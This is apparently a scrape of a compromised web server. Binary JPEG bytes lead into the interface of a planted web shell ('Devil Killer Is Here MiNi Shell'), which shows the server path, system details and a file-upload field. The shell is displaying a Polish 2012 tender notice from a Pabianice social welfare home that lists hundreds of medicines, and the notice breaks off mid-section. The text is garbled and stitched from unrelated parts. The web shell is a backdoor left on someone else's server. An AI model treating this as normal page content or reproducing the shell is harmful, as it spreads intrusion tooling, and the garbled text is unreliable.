JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/common/web/tenders/20120113/

Linux 9dbcd5f6333d 5.15.0-124-generic #134-Ubuntu SMP Fri Sep 27 20:20:17 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/common/web/tenders/20120113/13385-N-2012.html

<p class="kh_header"><b>Pabianice: Dostawa leków dla Domu Pomocy Społecznej w Pabianicach ul. Wiejska 55/61 w okresie od 1.02.2012  do 31.12.2012r.</b><br>
<b>Numer ogłoszenia: 13385 - 2012; data zamieszczenia: 13.01.2012</b><br>
OGŁOSZENIE O ZAMÓWIENIU - dostawy<br><br></p>

<p><b>Zamieszczanie ogłoszenia:</b> obowiązkowe.</p>
<p><b>Ogłoszenie dotyczy:</b> zamówienia publicznego.</p>

<p class="kh_title">SEKCJA I: ZAMAWIAJĄCY</p>

<p><b>I. 1) NAZWA I ADRES:</b> Dom Pomocy Społecznej w Pabianicach , ul. Wiejska 55/61, 95-200 Pabianice, woj. łódzkie, tel. 042 2137551, faks 042 2137640.</p>
<ul class="kh_indent_1">
</ul>
<p><b>I. 2) RODZAJ ZAMAWIAJĄCEGO:</b> Inny: Pomoc społeczna.</p>

<p class="kh_title">SEKCJA II: PRZEDMIOT ZAMÓWIENIA</p>

<p><b>II.1) OKREŚLENIE PRZEDMIOTU ZAMÓWIENIA</b></p>
<p><b>II.1.1) Nazwa nadana zamówieniu przez zamawiającego:</b> Dostawa leków dla Domu Pomocy Społecznej w Pabianicach ul. Wiejska 55/61 w okresie od 1.02.2012  do 31.12.2012r..</p>
<p><b>II.1.2) Rodzaj zamówienia:</b> dostawy.</p>
<p><b>II.1.3) Określenie przedmiotu oraz wielkości lub zakresu zamówienia:</b> 2	Acidum folicum tabl. 0,015g 30 szt.	30
3	Absenor 500mg 100tab	20
4	Absenor 300mg 100tab	45
5	Accupro tabl  20 mg   30szt.	10
6	Andepin 0,02g 30kap	15
7	Apo-Napro 0,25g  30tab	35
8	Areplex 0,75g  28tab	7
9	Atoris 0,01g 30tab	12
10	Atoris 0,02g 30tab	30
11	Atrox 0,02g 30tab	15
12	Amaryl 4mg 30tab	10
13	Amertil tabl. 0,01g 30 szt.	16
14	Amlopin tabl. 5mg 30 szt.	5
15	Amoksiklav 1000 mg 14 tbl	5
16	Amlozek tabl 10mg 30 szt.	19
17	Amlozek tabl 5mg 30 szt.	30
18	Adipine 5mg   30 tbl.	14
19	Adipine 10 mg   30 tbl.	8
20	Apo Doxan 4 mg 30 tbl                        	20
21	Alendrogen  0.07g   4 tbl.                     	240
22	Aclotin 0,25 mg 20 tbl.	27
23	Apo- Amlo  5 mg  30 tbl.	28
24	Apo-Amlo   10 mg  30 tbl.	15
25	Allertec 10 mg 30 tbl	10
26	Agen 5 mg       30 tab	56
27	Agen 10 mg 30 tab	25
28	Apo Tamis  0,4mg   30 kaps.	5
29	Anesteloc 20 mg 28 tab	263
30	Anesteloc 40 mg 28 tab	87
31	Aropilo  1mg   21 tbl.	20
32	Axtil  2,5 mg    30 tlb.	5
33	Axtil 10mg 30tab	10
34	Atram  6,25mg     30 tbl.	3
35	Augmentin1000mg  14 tbl.	6
36	Alphagan  0,2% kropl. d/oczu 5ml.	27
37	Arketis 20mg    30 tbl.	15
38	Axyven 0,75g  28tab	55
39	Azitrox 0,5g  3tab	6
40	Acurenal 20mg  30tab	5
41	Aulin 0,1g  30tab	8
42	Atrozol 1mg 28tabl	15
43	Atrovent Naero 0,02mg/dawx200daw    8	8
44	Atorvox 20mg  30tab	15
45	Bi- Profenid 150 mg 20 tbl	90
46	Bioxetin   0,02g     30 tbl.	18
47	Bioprazol   0,02g     28 kaps.	38
48	Bemecor tabl 0,1 mg 30 szt.	30
49	Berotec N 100 aer.    10 ml 200 dawek	11
50	Bisoratio 5mg 30 tab.	4
51	Captopril tabl 12, 5 mg 30 szt.	5
52	Captopril tabl 25 mg 30 szt.	5
53	Cipronex  500mg        10 tbl.	6
54	Convulex 300 mg 100 kaps                    	33
55	Convulex 500mgl00 kaps                       P	14
56	Controloc tabl 0,02 g 28szt	7
57	Controloc 40 mg 28 tab.	6
58	Chlortoprothixen draż 0,05g 50 sz           	11
59	Chlortoprothixen tabl 0,015 g 50 szt.       	70
60	Cilan 0, 5 mg 30 tab.	12
61	Cognezil  10mg     28 tbl.	12
62	Claritine 10 mg    30 tab.	14
63	Clexane 0, 4 ml 10 amp	40
64	Clexane 0,6 ml    2amp	15
65	Clexane  0,8ml   2amp	27
66	Coaxil 12, 5 mg 30 tab.                           	12
67	Contix 0, 02 g 28 tab.	20
68	Contix 0, 04 g 28 tab.	4
69	Cosopot   kropl. d/oczu  [0,02g+5mg]ml  5ml	20
70	Clotrimazolum 0,1g       6 tbl	6
71	Coxtral  0,1g      30 tbl.	16
72	Doxar  4 mg      30 tbl.	16
73	Depakine chrono 300 30 szt.                   	44
74	Depakine chrono 500 30 tbl                   	200
75	Diaprel MR  0,03g   60 tbl.                    	6
76	Digoxin tabl 0,25mg 30 szt.	10
77	Digoxin tabl 0,1mg 30 szt.	10
78	Diaril    3mg  30 tbl.                               	7
79	Dalacin C 300 16 kaps	6
80	Diuresin SR   tabl. 1,5mg 30 szt	115
81	Dermovate  0,05% rozt 50ml	15
82	Dermovate  maść 0,05g/100g	13
83	Duomox tabl 1g 20 szt.	77
84	Doxycyclinum 0,1 g 10 kaps.	2
85	Dalfaz uno 10 mg 30 tab.	2
86	Deprexolet 10 mg 30 tab.	140
87	Deprexolet 30 mg 30 tab.	130
88	Donesyn 5 mg 28 tab. 	9
89	Donesyn 10 mg 28 tab. 	110
90	Diclac  Duo 150   10 tbl.	49
91	Diclac  Duo  150    20 tbl.	42
92	Enarenal tabl 5mg 30 szt	7
93	Enarenal tabl 5mg 60 szt	30
94	Enarenal tabl 0,01g 30 szt	20
95	Enarenal tabl 0,01g 60 szt	27
96	Enarenal 20mg 60tab	5
97	Effox long 50mg    30 szt	24
98	Euphyllin long kaps 0,3g 30 szt                	40
99	Euphyllin long kaps 0,2g 30 szt                	20
100	Encorton tabl 5mg 20 szt                      	25
101	Enkorton 10mg 20tab	12
102	Egilipid 40 mg 28 tab.                    	10
103	Euthyrox  n   0,1mg  50 tbl.	3
104	Euthyrox  n   0,15mg  50 tbl.	4
105	Febrofen  0,2g ret.   20  kaps	3
106	Furagin tabl 0,05g 30 szt	110
107	Furosemidum tabl 0,04g 30 szt	62
108	Fraxiparine inj 3800 /0,4 ml 10 amp.strz.	23
109	Fraxiparine inj 5700 j m / 0, 6 ml 10 szt	5
110	Fraxiparine   2850jm /03ml       10 amp	15
111	Finlepsin 0, 2 g 50 tab.                             	2
112	Finlepsin 200 retard 50 tab.                     	423
113	Finlepsin400 retard 50 tab.                      	24
114	Fragmin 5000 j. m. 10 amp`a 2 ml	3
115	FaxoletER  75 mg  28 kaps.	66
116	Finaride   5mg   30 tbl.	10
117	Gentamicin inj amp 0,08g/2ml 10 szt	50
118	Gentamicin 0,3%kropko oczu 10 szt	3
119	Glucagen hypokit 1 mg 1 amp.- strz.        	11
120	Gasec 0, 02 g 28 kaps.	26
121	Gastrolit 15 sasz.	12
122	Gliclada 30 mg 60 tab.                            P	105
123	Gliclada 30 mg 90 tab. 	14
124	Granuflex Extra Thin 10/ 10cm 1 szt.                     	5
125	Glucosense test diag. 50 szt                     	33
126	Helicid 20 kaps 0, 02 g 28 szt	22
127	Haloperidol 1 mg 40 tab.                        	458
128	Haloperidol 2 mg / 1 ml krople10 ml       	168
129	Haloperidol 5 mg 30 tab.                        	55
130	Heviran 0, 8 g 30 tab.	5
131	Hyplafin 5mg 30tab P	20
132	Ins.Mixtard 30 Penfil inj 100j.m /3ml 5 amp.    	30
133	Ins Humulin M3 ( 30/ 70) 100 jm/ ml 3 ml / 5 szt        	23
134	Ins. Insulatard penfil 100 jm/ ml 5 amp `a 3 ml         	2
135	Ins, Actrapid  Penfill 100/ml   5x3ml     	6
136	Ins. Mixtard 50 Penfil 100 jm./ 1 ml 5 * 3 ml          	4
137	Ins. Gensulin  M 30[30/70] 100 jm/ml 5* 3 ml             	3
138	Ins. NovoMix 30 Penfil 100 jm/ 1 ml 5 * 3 ml       	13
139	IPP 40 mg 28 tab. dojelitowe	11
140	Ketrel 0,2 g  60 tbl.	38
141	Kamiren XL 4 mg 30 tab.                      	4
142	Ketonal forte tabl 0,1g 30 szt	145
143	Ketonal kaps 0, 05 g 24 szt	10
144	Ketonal inj 0,1 g/ 2 ml 10 amp	15
145	Kalipoz prol tabl 0,75g 30 szt	26
146	Kalipoz prol tabl 0,75g 60 szt	7
147	Klozapol tabl 0,025g 50 szt.                    	29
148	Ketonal Duo 150 mg 30 kaps.o przedł. Uwaln.	19
149	Keppra  1g  50 tbl.	10
150	Keppra  1g  100 tbl.	6
151	Keppra 0,5g 50tab     	15
152	Klozapol  0,1g 50 tbl.          	60
153	Kefrenex 100mg  60tab	22
154	Kefrenex 200mg  60tab	24
155	Kwetaplex 200mg 60tab	7
156	Ketrel 0,1 g  60 tbl.	16
157	Loperamid tabl 0,002g 30 szt	38
158	Loratan kaps 0,01g 30 szt.	8
159	Lerivon tabl 0,06g     30 szt                         	13
160	Lisinoratio 10 mg 30 tbl	7
161	Lisinoratio 5 mg 30 tbl	30
162	Lanzul 0, 03 28 kaps	8
163	Lotensin 20 mg 28 tab.	10
164	Lorista 50 mg 28 tbl	7
165	Lamotrix 100 mg   30 szt                              	4
166	Lorista H 28 tab.	3
167	Lovasterol 0, 01g        30 tab.	5
168	Lozap HCT 0, 05 g + 0, 0125 g 30 tab.	35
169	Lozap Zentiva 0, 05 g 30 tab.	15
170	Lifin   5mg   28 tbl.	4
171	Letrox 50 50tab	6
172	Mononit ret tabl 0,06g 30 szt	50
173	Mononit 0,01g  60tab	30
174	Metocard tabl 0,05g 30 szt	125
175	Majamil prol tabl 0,lg 20 szt	15
176	 Metformax tabl 0,5g 30 szt                      	78
177	Metformax 850 0,85g 30 szt.                   	67
178	Metformin 500 mg 30 tbl                          	4
179	Madopar 125 100 tbl rozp.                     	13
180	Madopar 250 100 szt                              	4
181	Madopar 125 mg 100 kaps.  	5
182	Madopar 62, 5 mg 100 kaps.   	2
183	Mono Mack depot 0, 1 28 tab.	7
184	Metypred 0, 004 30 tbl	4
185	Methotrexat Ebewe 2, 5 mg 50 tab.         	3
186	Mitrip 2, 5 mg 30 tab.	12
187	Milurit 0, 1 g 50 tab.	8
188	Milurit 0, 3 g 30 tab.	4
189	Miflonide pr. Do inh. 0,4 60kaps	7
190	Nitrendypina tabl 0,02g 30 szt	19
191	Nitrendypina 0,02g 60tab	14
192	Nitrendypin0,01 30 tab.	26
193	Nitrendypina 0, 01 g 60 tab.	5
194	Novate maść 0,05% 30g	11
195	Nolicin tabl 0,4g 20 szt	5
196	Neurotop ret. 300 mg 50 tbl  P                  	125
197	Neurotop 600 retard 50 tab.                    	115
198	Nimesil 0, 1 g 30 sasz.	40
199	Nolpaza 20 mg 28 tab.	45
200	Nolpaza 40 mg 28 tab.	7
201	Nabuton 0,5g 20tab	27
202	Oftensin 0,25 % krople do oczu 5ml         	5
203	Ostolek 70 mg 4 tbl                                 	5
204	Ostenil 70mg 4tab	5
205	Olfen 75 mg SR 30 tbl	5
206	Olfen0, 075 g 5 amp	7
207	Olzapin 10 mg 28 tab                               	16
208	Ortanol   20mg    28 tbl.	25
209	Ostemax comfort 0, 07 g 4 tab.                	34
210	Omnic Ocas 0, 4 mg 30 tab.	10
211	Polprazol kaps 0, 02 g 28 szt	28
212	Poltram ret 100 mg 30 tbl                        	11
213	Poltram Retard 150 mg 30 tbl                  	7
214	Poltram kaps. O,05 g 20 szt.                   	35
215	Poltram 100 inj 0,lg/ 2ml 5 amp               	10
216	Poltram 50 inj 0,05 g/ 1 ml 5szt               	2
217	Prestarium tabl 0,005g 30 szt	78
218	Prestarium 10 mg 30 tab.	4
219	Piramil  5mg   30 tbl.      	46
220	Piramil  2,5mg   30 tbl.      	10
221	Propranolol tabl 0,01g 50 szt	55
222	Prazol kaps 0, 02g 28 szt	100
223	Panogastin 20 mg 28 tab.	5
224	Perazin 25 mg 20 tab.                               	120
225	Pernazinum 25 mg 20 tab.                        	68
226	Poltram  retard 100mg    10  tbl.	9
227	Phenytoinum 0, 1 g 60 tab.                       	44
228	Polpril 5 mg 28 kaps.	40
229	Poltram retard 150 mg 10 tab.                  	3
230	Prenessa 4 mg 30 tab.	15
231	Pulmoterol 50 mcg pr. Do inhalacji 60 kaps. 	5
232	Proxacin 0,5g 10tab	7
233	Pabi-Dexamethason 1mg 20tab	7
234	Parnassan 5mg 30tab	10
235	Parnassan 10mg 30tab	10
236	Polprazol PPH0 40mg  28 szt	38
237	Ranigast tabl 0,15g 60 szt.	70
238	Ranigast tabl 0,15g 30 szt	10
239	Rp.Acid. Boric. 1 g	40.7
240	Rp. Ammonium bromatum Ig	320
241	Rp. Aqua Purificata płyn 1 ml	1310.9
242	Rp. Euceryna 1 g	270.9
243	Rp. Gliceryna 1 g	911
244	Rp. Hascobaza 1 g	90
245	Rp. Hydrocortisonum * 1 g subst.	21.3
246	Rp. Kalium Bromatum * 1g	640
247	Rp. Metamizolum natricum* 1 g	145
248	Rp. Natrium bromatum 1 g	315
249	Rp. Natrium Chloratum1 g	271.89
250	Rp. Neospasmina 1 g	15250
251	Rp. Oleum menthae piper płyn 1 ml	0.675
252	Rp. Paraffinum lig 1 g	385
253	Rp. spirytus 70 % 1 g	353
254	Rp. Aqva purificata płyn 10ml	1310.9
255	Rp. Aqva purificata płyn 1ml	10092.027
256	Renazol 0, 03 g      14kaps.	10
257	Rovamycine 3000 000j  10tab	20
258	Rp. Mentholum subst. 1 g	12
259	Spironol tabl 0,025g 20 szt	190
260	Spironol tabl 0,lg 20 szt	208
261	Simvasterol 0,01g      28 szt.	12
262	Sirrwasterol tbl 0,02 g 28 szt.	30
263	Simvasterol 40 mg 28 tbl	2
264	Siofor tabl 0,85g 30 szt                            	65
265	Sulpiryd 50 mg 24 kaps                           	100
266	Simratio 20 mg 28 tbl	8
267	Symlosin  SR    0,4mg    30 kaps	25
268	Simvacard 20 28 tbl	17
269	Siofor 500 mg 30 tbl                                	60
270	SulfasalazinEN    0,5g    50 tbl.	8
271	Siofor 1 g 30 tab.                                     	95
272	Symglic 4 mg 30 tab.                                	20
273	Symla 50 mg 30 tab.                                	27
274	Simvagen 20mg 28tab	36
275	Sertagen 0,1g  28tab	8
276	Solian 0,2g 30tab	13
277	Symasteride 5mg 30tab	18
278	Theovent 300 tbl 50 tbl                            	47
279	Tertensif SR tabl 0,0015g 30 szt              	108
280	Torecan draż 6,5mg 50 szt                       	7
281	Tramal kaps 0,05g 20 szt                         	18
282	Tramal retard 100 mg 10 tbl                     	30
283	Tramal 100 mg/ 2 ml inj. 5 amp                	5,000
284	Tritace 2, 5 mg 28 tbl	10
285	Tritace 5mg       28 tbl	90
286	Tritace 10 mg 28 tbl	9
287	Tenox 5 mg 30 tbl	4
288	Tamsulosin ratio0, 4 mg 30 kaps.             	7
289	Theospirex ret. 300 50 tab.	20
290	Tisercin 25 mg 50 tab.                              	360
291	Torvacard 0, 04 g * 30 tab.	15
292	Tramal ret. 100 mg 30 tab.                      	35
293	Tulip 0, 02 g 30 tab.	7,000
294	Tulip 0, 01 g 30 tab.	10
295	Tulip 0,02g 30tab	7
296	Tramal ret. 200 mg 30 tab.                      	30
297	Unidox Soloutab 100 mg 10 tbl	40
298	Ulgafen 5 mg 30 tab 	11
299	Uprox 0, 4 mg 30 kaps.                           	10
300	Vasilip tbl 0,02g 28 szt.	3
300	Vasilip tbl 0,04g 28 szt.	5
301	Vit B12 inj 1000mg/1ml 10 amp	3
302	Vastan 0, 02 g 28 tab.	13
303	Vivacor 12,5mg   30 tbl.      	6
304	Ventolin aer. 0,1 mg/ daw.200 dawek	3
305	Vivace 5 mg 30 tab.	1
306	Vivace 10 mg 30 tab.	15
307	Verospiron 0,025g  20tab	11
308	Valzek 0,08g 28tab	6
309	Valzek 0,16g 28tab	15
310	Xalacom krople do oczu 2,5ml	16
311	Zafiron   kaps. 0,012 mg 60 szt.               	75
312	Zyrtec tabl 0,01g 20 szt	5
313	Zinnat 500 10 tbl	8
314	Zocor 0, 02 g 28 tab.	15
315	Zolafren 5 mg 30 tab.                               	61
316	Zolafren 10 mg 30 tab.                             	167
317	Zoxon 4mg   30 tab.                                    	13
318	Zolafren Swift 20mg 28tab ule. Roz	20
319	Zolafren Swift 10mg 28tab ule. Roz	10
320	Zolafren Swift 5mg 28tab	40
321	Zinoxx 0,5  10tab	11
322	Ziperid 2mg 20tab	40
2	Accu- Chek Active Gluc. 50 szt.           	15
3	Aspiryn   100tab	45
4	Acard 75mg      30 tab	80
5	Alax	45
6	Apap 100 tab	36
7	Agapurin SR 400mg	15
8	Alantan maść	500
9	Altacet żel 75 g	30
10	Atarax 0,025g  25 tab 	25
11	Accolate 20mg  56tab	10
12	Bisocard  tab 5 mg  30 szt	55
13	Bisocard 10 mg     30 tab.	10
14	Betaserc   24 mg   60 tbl.	8
15	Baclofen 25 mg 50 tab 	16
16	Baclofen 0,01g 50 tbl	32
17	Betamann 0,3% krop/ocz 5ml	7
18	Betaloc ZOK 0,1g 28 tab	10
19	Bellapan 0,25mg   20 tab	27
20	Biseptol 960 10 tab	11
21	Boldaloin	60
22	Bisacodyl  tabl	20
23	Buvasodil 0,3g    20 tab	13
24	Cavinton 5 mg 50 tab	40
25	Cavinton Forte 0,1g30 tab	45
26	Citropepsin płyn 180g	20
27	Coxtral 0, 1 g 10 tab.	16
28	Cardiol C  krople   40g	30
29	Calcium Osteo D3 60 tab	20
30	Clenastinum 1mg 30 tab	19
31	Concor Cor 1,25 mg	8
32	Detralex 60 tab	30
33	Donectil 5mg 28tabl	13
34	Donectil 10mg  28tabl	25
35	Diosminex 0,5mg 60 tab	40
36	Diuver 5mg 30 tab	13
37	Dicortineff zawiesina do oczu/uszy  5 ml	18
38	Dicloberl retard 0,1 20 kap	45
39	Duphalac syrop 300 ml	25
40	Espumisan 0,04g 100 kap	25
41	Essentiale Forte 0,3 g 50 kap	11
42	Fastum żel 2,5% 50 g	20
43	Flunarizinum 5 mg  30 tab	8
44	Gripex  24 tab	30
45	Gopten 0,5mg     28 kaps.	9
46	Grypolek  12 tab	30
47	Gutron 2,5 mg 20 tab	5
48	Halidor 0,1mg   60 tbl.	15
49	Hemofer prol. 30 tab	30
50	Hydroxyzyna 10 mg 30 tab	15
51	Hydroxyzyna 25 mg 30 tab	30
52	Herbapect syropsyrop 150 ml	30
53	Hydrochlorothiazidum tabl 0,0125g 30 szt	32
54	Inhibace 0, 5 g mg 30 tbl	60
55	Inhibace 2,5 mg  28 tab	12
56	Isoptin 80 mg 40 draż	15
57	Ibuprom zatoki            24 tab	11
58	Isoptin SR tabl.powl 0,12g 40 szt	15
59	Locoid Crelo 0, 1 % emulsja 30 g	7
60	Lipanthyl Supra 0,16g 30tab	5
61	Krople żołądkowe  35g	19
62	Ketonal żel 2,5% 100g	28
63	Mononit 20 mg 30 tbl	23
64	Metaprolol 50 mg   30 tab	110
65	Metoclopramidum tabl 0,01g 50 szt	14
66	Maść tranowa  20 g	65
67	Molsidamina 2 mg 30 tab	12
68	Molsidamina 4 mg 30 tab	7
69	Mydocalm Forte 0,15g  30 tab	19
70	Memotropil 1200  60 tab	15
71	Naproxen żel 10 % 50 mg30	25
72	No-Spa forte tabl 0,08g 20 szt	40
73	Nifuroksazyd 0,1g 24 tab	30
74	Nilogrin 0,01g 30 tab	10
75	Nootropil 1200 60 tab	15
76	Neo-Angin b/c   24 tab	30
77	Oculotect Gel 1% żel 50 mg	6
78	One Touch Horizon glucose test 50 szt     	70
79	Pentohexal retard 0,6 30 tab	10
80	Peritol tab 4 mg 20 tab	10
81	Polfilin prol. 0,4 g 60 tab	12
82	Polocard 75 mg	50
83	Polocard 150 mg 	13
84	Preductal MR 35 mg 60 tab	7
85	Prinivil 10mg  28tab	15
86	Pridinol 5mg 50 tab	80
87	Pyralginum 0,5g  6 tab	50
88	Pyralginum 1g/2ml 5 amp a 2ml	11
89	Rutinoscorbin 90 tab	25
90	Relanium 2mg 20 tab	20
91	Relanium 5 mg  20 tab	15
92	Rivel żel 30g	35
93	Sermion  0,01g    50 draż	7
94	Sintrom  4mg    20 tbl.	6
95	Scopolan tabl 0,01g 30 szt	30
96	Sulfacetamidum  10% H-E-C 2x 5ml	18
97	Sachol żel 10g	8
98	Solcoseryl 10% żel 20g	19
99	Sympramol 50 mg  20 tab	10
100	Tardyferon fol 30 tab	15
101	Thiocodin 10 tab	20
102	Urosept	20
103	Undofen aer	30
104	Venescin  30 tab	30
105	Vicebrol 5mg 50 tab	30
106	Vinpoton 5 mg 50 tab	15
107	Xefo Rapid 8mg 10tab	18.</p>
<p><b>II.1.4) Czy przewiduje się udzielenie zamówień uzupełniających:</b> nie.</p>

<p><b>II.1.5) Wspólny Słownik Zamówień (CPV):</b> 24.40.00.00-8, 24.49.20.00-9.</p>
<p><b>II.1.6) Czy dopuszcza się złożenie oferty częściowej:</b> nie.</p>
<p><b>II.1.7) Czy dopuszcza się złożenie oferty wariantowej:</b> nie.</p><br>
<p><b>II.2) CZAS TRWANIA ZAMÓWIENIA LUB TERMIN WYKONANIA:</b> Zakończenie: 31.12.2012.</p>

<p class="kh_title">SEKCJA III: INFORMACJE O CHARAKTERZE PRAWNYM, EKONOMICZNYM, FINANSOWYM I TECHNICZNYM</p>

<p><b>III.1) WADIUM</b></p>
<p><b>Informacja na temat wadium:</b> nie przewiduje się</p>
<p><b>III.2) ZALICZKI</b></p>
<ul class="kh_indent_1"><li><b>Czy przewiduje się udzielenie zaliczek na poczet wykonania zamówienia:</b> nie</li></ul>
<p><b>III.3) WARUNKI UDZIAŁU W POSTĘPOWANIU ORAZ OPIS SPOSOBU DOKONYWANIA OCENY SPEŁNIANIA TYCH WARUNKÓW</b></p>
<ul class="kh_indent_1">
<li><p><b>III. 3.1) Uprawnienia do wykonywania określonej działalności lub czynności, jeżeli przepisy prawa nakładają obowiązek ich posiadania</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
